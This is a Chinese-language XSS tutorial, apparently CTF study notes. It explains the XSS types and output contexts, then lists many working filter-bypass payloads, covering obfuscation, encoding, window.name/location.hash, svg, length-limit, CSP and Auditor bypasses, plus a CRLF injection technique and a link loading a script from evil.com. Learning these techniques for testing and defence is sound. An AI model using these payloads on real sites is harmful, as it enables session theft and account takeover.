1. 介绍
- XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种,允许恶意用户将代码注入网页,其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言。
- XSS攻击通常是指通过利用网页开发时留下的漏洞,巧妙注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和Cookie等内容。
2. 分类
- 漏洞成因:反射型、存储型、DOM型
- 输出点:输出在HTML属性中、输出在CSS中、输出在JavaScript中
3. 基于漏洞成因的 XSS 介绍
3.1 反射型XSS
XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在相应内容中返回输入的XSS代码,最终由浏览器解析执行。
3.2 存储型XSS
存储型XSS与反射型XSS的区别主要在于提交的XSS代码是否会存储在服务器端,下次请求该网页时是否需要再次提交XSS代码。存储型XSS的典型应用有留言板、在线聊天室、邮件服务等,攻击者提交包含XSS代码的留言后,服务端会将其存储于数据库中,其他用户访问网页查看留言时,服务端将从数据库中查询已有留言并将留言内容输出在HTTP响应中,由浏览器对包含恶意代码的响应进行解析执行。
3.3 DOM XSS
DOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
4. 基于输出点的 XSS 介绍
4.1 输出在HTML标签中
XSS攻击payload输出在HTML属性中时,攻击者需要在闭合相应的HTML属性后注入新属性,或者在闭合标签后直接注入新标签。
示例:
<input name="user" value="" onclick="alert(1)"/>
<input name="user" value=""><script>alert(1)</script>"/>
4.2 输出在CSS代码中
XSS攻击payload输出在CSS代码中时,攻击者需要闭合相应的CSS代码。
示例:
<style type="text/css">
body{
color:#000;background-image:url('javascript:alert(1)');
</style>
4.3 输出在Javascript代码中
XSS攻击payload输出在Javascript代码中,攻击者需要闭合相应的Javascript代码
示例:
<script>
var name=""+alert(1)+"";
</script>
5. 其他场景
决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素Content-Type,所以无论上传的文件是以什么样的后缀被保存在服务器上,只要访问上传的文件时返回的Content-Type时text/html,就可以成功地被浏览器解析并执行。类似地,Flash文件的application/x-shockwave-flash也可以被执行XSS。
事实上,浏览器会默认把请求相应当作HTML内容解析,如空的和畸形的Content-type,由于浏览器之间存在差异,因此在实际环境中要多测试。比如,Google Chrome中的空Content-type会被认为时text/html。
6. 防护与绕过
6.1 特定标签过滤
防护:过滤掉危险标签,如script、iframe等
绕过:任何一种标签,无论是否合法都可以构造出XSS代码,如<not_real_tag onclick=”alert(1)”></not_real_tag>
。 同时HTML5也带来了部分新标签,容易被开发者忽略,如video标签。
6.2 事件过滤
防护:过滤掉许多HTML标签的事件属性。
绕过:测试时可以使用Burp或自行编写脚本进行Fuzz。还有JavaScript伪协议,如<a href=”javascript:alert(1)”>clickme</a>
6.3 敏感关键字(字符)过滤
- 字符串拼接与混淆
- JavaScript中的对象方法可通过数组的方式进行调用:
window['alert'](1);
- 可以通过拼接的方式进行混淆:
window['al'+'ert'](1)
- 还可以使用JavaScript自带的Base64编码解码函数来实现字符串过滤的绕过,btoa函数可以将字符串编码为Base64字符串,atob函数可以将Base64字符串还原,如
btoa("alert")
返回"YWxlcnQ="
。window[atob(“YWxl”+”cnQ=”)](1)
- JavaScript中的对象方法可通过数组的方式进行调用:
- 编码解码
- HTML进制编码:十进制、十六进制;
- CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制;
- JavaScript进制编码:八进制、十六进制、Unicode编码、ASCII
- URL编码
- JSFuck编码
- location.*、window.name
- location.*的构造:
http://example.com/xss.php?input=<input onfocus
outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(1)>
- window.name的构造页面:
<iframe src="http:/example.com/xss.php?input=<input οnfοcus=location=window.name>" name="javascript:alert(1)"></iframe>
- 过滤”.”
在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对”.”的过滤:with(document)alert(cookie);
- 过滤”()”
在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对”()”的过滤:window.onerror=alert; throw 1;
- 过滤空格
- 在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤
- 在标签名称和第一个属性间也可以使用”/”代替空格:
<input/onfocus=alert(1)>
- svg标签
svg内部的标签和语句遵循的规则时直接继承自xml而不是html,区别在于svg内部的script标签中可以允许存在一部分禁止或编码后的字符(比如实体编码):
http://example.com/xss.php?input=1"><svg><script>alert%26%23x28;1%26%23x29</script></svg>
6.4 字符集编码导致的绕过
- 宽字节
- 一些特殊的字符:http://10.com/encodings
6.5 长度限制
- window.name
- location.*
<iframe
src="http:/example.com/xss.php?input=<input onfocus=eval(window.name)>"
name="alert(1)"></iframe>
-
第三方库工厂
注入jQuery等第三方JavaScript库大部分都会提供相应的工厂函数,如jQuery中的”$()”,它会自动构造标签,并且执行其中的代码
<iframe src="http:/example.com/xss.php?input=<input onfocus=eval(window.name)>"
name=”<img src='x' onerror=alert(1)>"></iframe>
-
注释
在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,这样不同阶段的代码就可以组合到一起了。
6.6 HttpOnly绕过
HttpOnly是Cookie的一个安全属性,设置后则可以在XSS漏洞发生时避免JavaScript读取到Cookie,但即使设置了HttpOnly属性,也仍有办法获取到Cookie值。
- window.name
- CVE-2012-0053
- PHPINFO页面
- Flash/Java
6.7 XSS Auditor绕过
- 字符集编码导致的绕过
- 协议理解问题导致的绕过
对于Chrome浏览器的XSS Auditor防护,如果加载的脚本在自身目录下,并且XSS的输出点在HTML属性中,那么XSS Auditor是不会对其进行拦截的。但是如果检测到了”//”这样的外部链接的话,就会触发Auditor,从而无法加载外部脚本:
http://example.com/xss.php?input=1"> <link rel="import"href=https:evil.com/1.php
- CRLF导致的绕过
这个漏洞名词来源于打印机,在计算机中表示一行的结束。 Chrome浏览器的XSS Auditor默认是开启的,但如果HTTP响应头中的X-XSS-Protection属性被设置为0,那么Chrome浏览器会关闭XSS Auditor。因此,如果在HTTP响应头中注入CRLF并在新一行中写入X-XSS-Protection:0,那么接下来的XSS代码将不再收到XSS Auditor的拦截。
6.8 内容安全策略 (CSP) 绕过
- CSP配置错误
- unsafe-inline下的绕过
- 严苛规则script-src ‘self’ 下的绕过
- CRLF导致的绕过
在HTTP响应头中注入[CRLF][CRLF],将CSP头部分割至HTTP响应体中,这样注入的XSS代码便不再受到CSP的影响
6.9 Tips
- 将payload藏在location.hash中,则URL中 # 后的字符不会被发到服务器,所以不存在被服务器过滤的情况。
eval(unescape(location.hash.slice(1)));//#alert('hack')
- 在JavaScript中,反引号可以直接当作字符串的边界符。
alert(`hack`);//
7. 危害
- 窃取用户Cookie信息,伪造用户身份;
- 与浏览器DOM对象进行交互,执行受害者所有可以执行的操作;
- 获取网页源码;
- 发起HTTP请求;
- 使用HTML5 Geolocation API获取地理位置信息;
- 使用WebRTC API获取网络信息;
- 发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击。
References:
《从0到1 CTFer成长之路》
《CTF特训营》